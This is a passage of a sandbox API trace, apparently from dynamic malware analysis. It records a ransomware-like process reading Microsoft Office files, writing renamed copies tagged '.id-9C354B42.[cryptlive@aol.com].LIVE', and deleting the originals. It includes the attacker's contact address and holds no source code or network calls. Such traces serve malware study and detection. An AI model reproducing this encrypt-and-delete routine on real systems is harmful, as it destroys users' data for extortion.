(lpString=".bz2") returned 4 [0142.565] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.565] lstrlenW (lpString=".7z") returned 3 [0142.565] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0142.565] lstrlenW (lpString=".dbf") returned 4 [0142.565] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0142.565] lstrlenW (lpString=".1cd") returned 4 [0142.565] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.DLL") returned 59 [0142.565] lstrlenW (lpString=".jpg") returned 4 [0142.565] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.565] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0142.565] lstrlenW (lpString="MOR6INT.REST.IDX_DLL") returned 20 [0142.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.566] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=39808) returned 1 [0142.566] CloseHandle (hObject=0x1dc) returned 1 [0142.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll")) returned 0x20 [0142.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0142.566] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.566] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0142.567] GetLastError () returned 0x0 [0142.567] ReadFile (in: hFile=0x1dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x9b80, lpOverlapped=0x0) returned 1 [0142.570] WriteFile (in: hFile=0x3a4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x9b90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x9b90, lpOverlapped=0x0) returned 1 [0142.572] ReadFile (in: hFile=0x1dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.572] WriteFile (in: hFile=0x3a4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0142.572] SetEndOfFile (hFile=0x3a4) returned 1 [0142.572] CloseHandle (hObject=0x3a4) returned 1 [0142.572] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.572] SetEndOfFile (hFile=0x1dc) returned 1 [0142.577] CloseHandle (hObject=0x1dc) returned 1 [0142.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll")) returned 1 [0142.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0142.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0142.578] lstrlenW (lpString=".doc") returned 4 [0142.578] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0142.578] lstrlenW (lpString=".docx") returned 5 [0142.578] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0142.578] lstrlenW (lpString=".pdf") returned 4 [0142.578] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0142.578] lstrlenW (lpString=".xls") returned 4 [0142.578] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0142.578] lstrlenW (lpString=".xlsx") returned 5 [0142.578] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0142.578] lstrlenW (lpString=".ppt") returned 4 [0142.578] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0142.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0142.578] lstrlenW (lpString=".zip") returned 4 [0142.578] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0142.578] lstrlenW (lpString=".rar") returned 4 [0142.578] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0142.578] lstrlenW (lpString=".bz2") returned 4 [0142.578] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0142.578] lstrlenW (lpString=".7z") returned 3 [0142.578] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0142.578] lstrlenW (lpString=".dbf") returned 4 [0142.578] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0142.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0142.578] lstrlenW (lpString=".1cd") returned 4 [0142.579] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0142.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0142.579] lstrlenW (lpString=".jpg") returned 4 [0142.579] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0142.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0142.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0142.579] lstrlenW (lpString=".doc") returned 4 [0142.579] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0142.579] lstrlenW (lpString=".docx") returned 5 [0142.579] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0142.579] lstrlenW (lpString=".pdf") returned 4 [0142.579] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0142.579] lstrlenW (lpString=".xls") returned 4 [0142.579] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0142.579] lstrlenW (lpString=".xlsx") returned 5 [0142.579] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0142.579] lstrlenW (lpString=".ppt") returned 4 [0142.579] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0142.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0142.579] lstrlenW (lpString=".zip") returned 4 [0142.579] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0142.579] lstrlenW (lpString=".rar") returned 4 [0142.579] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0142.579] lstrlenW (lpString=".bz2") returned 4 [0142.579] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0142.579] lstrlenW (lpString=".7z") returned 3 [0142.579] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0142.579] lstrlenW (lpString=".dbf") returned 4 [0142.579] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0142.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0142.580] lstrlenW (lpString=".1cd") returned 4 [0142.580] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0142.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL") returned 68 [0142.580] lstrlenW (lpString=".jpg") returned 4 [0142.580] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0142.580] lstrcmpiW (lpString1=".VRD", lpString2=".LIVE") returned 1 [0142.580] lstrlenW (lpString="MOVE.VRD") returned 8 [0142.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.582] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1420) returned 1 [0142.582] CloseHandle (hObject=0x3ac) returned 1 [0142.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd")) returned 0x20 [0142.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0142.583] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.583] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0142.583] GetLastError () returned 0x0 [0142.583] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x58c, lpOverlapped=0x0) returned 1 [0142.588] WriteFile (in: hFile=0x3a4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x590, lpOverlapped=0x0) returned 1 [0142.589] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.589] WriteFile (in: hFile=0x3a4, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0142.589] SetEndOfFile (hFile=0x3a4) returned 1 [0142.589] CloseHandle (hObject=0x3a4) returned 1 [0142.589] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.589] SetEndOfFile (hFile=0x3ac) returned 1 [0142.592] CloseHandle (hObject=0x3ac) returned 1 [0142.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0142.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\move.vrd")) returned 1 [0142.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0142.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0142.593] lstrlenW (lpString=".doc") returned 4 [0142.593] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0142.593] lstrlenW (lpString=".docx") returned 5 [0142.593] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0142.593] lstrlenW (lpString=".pdf") returned 4 [0142.593] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0142.593] lstrlenW (lpString=".xls") returned 4 [0142.593] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0142.593] lstrlenW (lpString=".xlsx") returned 5 [0142.593] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0142.593] lstrlenW (lpString=".ppt") returned 4 [0142.593] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0142.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0142.593] lstrlenW (lpString=".zip") returned 4 [0142.593] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0142.593] lstrlenW (lpString=".rar") returned 4 [0142.593] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0142.593] lstrlenW (lpString=".bz2") returned 4 [0142.593] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0142.593] lstrlenW (lpString=".7z") returned 3 [0142.593] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0142.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0142.593] lstrlenW (lpString=".dbf") returned 4 [0142.593] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0142.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0142.593] lstrlenW (lpString=".1cd") returned 4 [0142.593] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0142.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0142.593] lstrlenW (lpString=".jpg") returned 4 [0142.593] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0142.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0142.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0142.593] lstrlenW (lpString=".doc") returned 4 [0142.594] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0142.594] lstrlenW (lpString=".docx") returned 5 [0142.594] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0142.594] lstrlenW (lpString=".pdf") returned 4 [0142.594] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0142.594] lstrlenW (lpString=".xls") returned 4 [0142.594] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0142.594] lstrlenW (lpString=".xlsx") returned 5 [0142.594] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0142.594] lstrlenW (lpString=".ppt") returned 4 [0142.594] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0142.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0142.594] lstrlenW (lpString=".zip") returned 4 [0142.594] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0142.594] lstrlenW (lpString=".rar") returned 4 [0142.594] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0142.594] lstrlenW (lpString=".bz2") returned 4 [0142.594] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0142.594] lstrlenW (lpString=".7z") returned 3 [0142.594] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0142.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0142.594] lstrlenW (lpString=".dbf") returned 4 [0142.594] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0142.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0142.594] lstrlenW (lpString=".1cd") returned 4 [0142.594] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0142.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOVE.VRD") returned 56 [0142.615] lstrlenW (lpString=".jpg") returned 4 [0142.615] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0142.615] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0142.615] lstrlenW (lpString="MPXRES.DLL") returned 10 [0142.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0142.615] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=12664) returned 1 [0142.615] CloseHandle (hObject=0x3a8) returned 1 [0142.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll")) returned 0x20 [0142.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0142.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0142.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0142.619] lstrlenW (lpString=".doc") returned 4 [0142.619] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.619] lstrlenW (lpString=".docx") returned 5 [0142.619] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0142.619] lstrlenW (lpString=".pdf") returned 4 [0142.619] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.619] lstrlenW (lpString=".xls") returned 4 [0142.619] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.619] lstrlenW (lpString=".xlsx") returned 5 [0142.619] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0142.619] lstrlenW (lpString=".ppt") returned 4 [0142.619] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0142.619] lstrlenW (lpString=".zip") returned 4 [0142.619] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.619] lstrlenW (lpString=".rar") returned 4 [0142.619] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.619] lstrlenW (lpString=".bz2") returned 4 [0142.619] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.619] lstrlenW (lpString=".7z") returned 3 [0142.619] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0142.619] lstrlenW (lpString=".dbf") returned 4 [0142.619] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0142.619] lstrlenW (lpString=".1cd") returned 4 [0142.619] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0142.619] lstrlenW (lpString=".jpg") returned 4 [0142.619] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0142.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0142.620] lstrlenW (lpString=".doc") returned 4 [0142.620] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0142.620] lstrlenW (lpString=".docx") returned 5 [0142.620] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0142.620] lstrlenW (lpString=".pdf") returned 4 [0142.620] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0142.620] lstrlenW (lpString=".xls") returned 4 [0142.620] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0142.620] lstrlenW (lpString=".xlsx") returned 5 [0142.620] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0142.620] lstrlenW (lpString=".ppt") returned 4 [0142.620] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0142.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0142.620] lstrlenW (lpString=".zip") returned 4 [0142.620] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0142.620] lstrlenW (lpString=".rar") returned 4 [0142.620] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0142.620] lstrlenW (lpString=".bz2") returned 4 [0142.620] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0142.620] lstrlenW (lpString=".7z") returned 3 [0142.620] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0142.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0142.620] lstrlenW (lpString=".dbf") returned 4 [0142.620] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0142.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0142.620] lstrlenW (lpString=".1cd") returned 4 [0142.620] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0142.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL") returned 58 [0142.620] lstrlenW (lpString=".jpg") returned 4 [0142.620] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0142.620] lstrcmpiW (lpString1=".HXS", lpString2=".LIVE") returned -1 [0142.621] lstrlenW (lpString="MSACCESS.DEV.HXS") returned 16 [0142.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0142.655] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=10745972) returned 1 [0142.655] CloseHandle (hObject=0x2f8) returned 1 [0142.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs")) returned 0x20 [0142.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0142.788] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0142.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0142.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0142.790] lstrlenW (lpString=".doc") returned 4 [0142.790] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0142.790] lstrlenW (lpString=".docx") returned 5 [0142.790] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0142.790] lstrlenW (lpString=".pdf") returned 4 [0142.790] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0142.790] lstrlenW (lpString=".xls") returned 4 [0142.790] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0142.790] lstrlenW (lpString=".xlsx") returned 5 [0142.790] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0142.790] lstrlenW (lpString=".ppt") returned 4 [0142.790] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0142.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS") returned 64 [0142.790] lstrlenW (lpString=".zip") returned 4 [0142.790] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0142.790] lstrlenW (lpString=".rar") returned 4 [0142.790] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 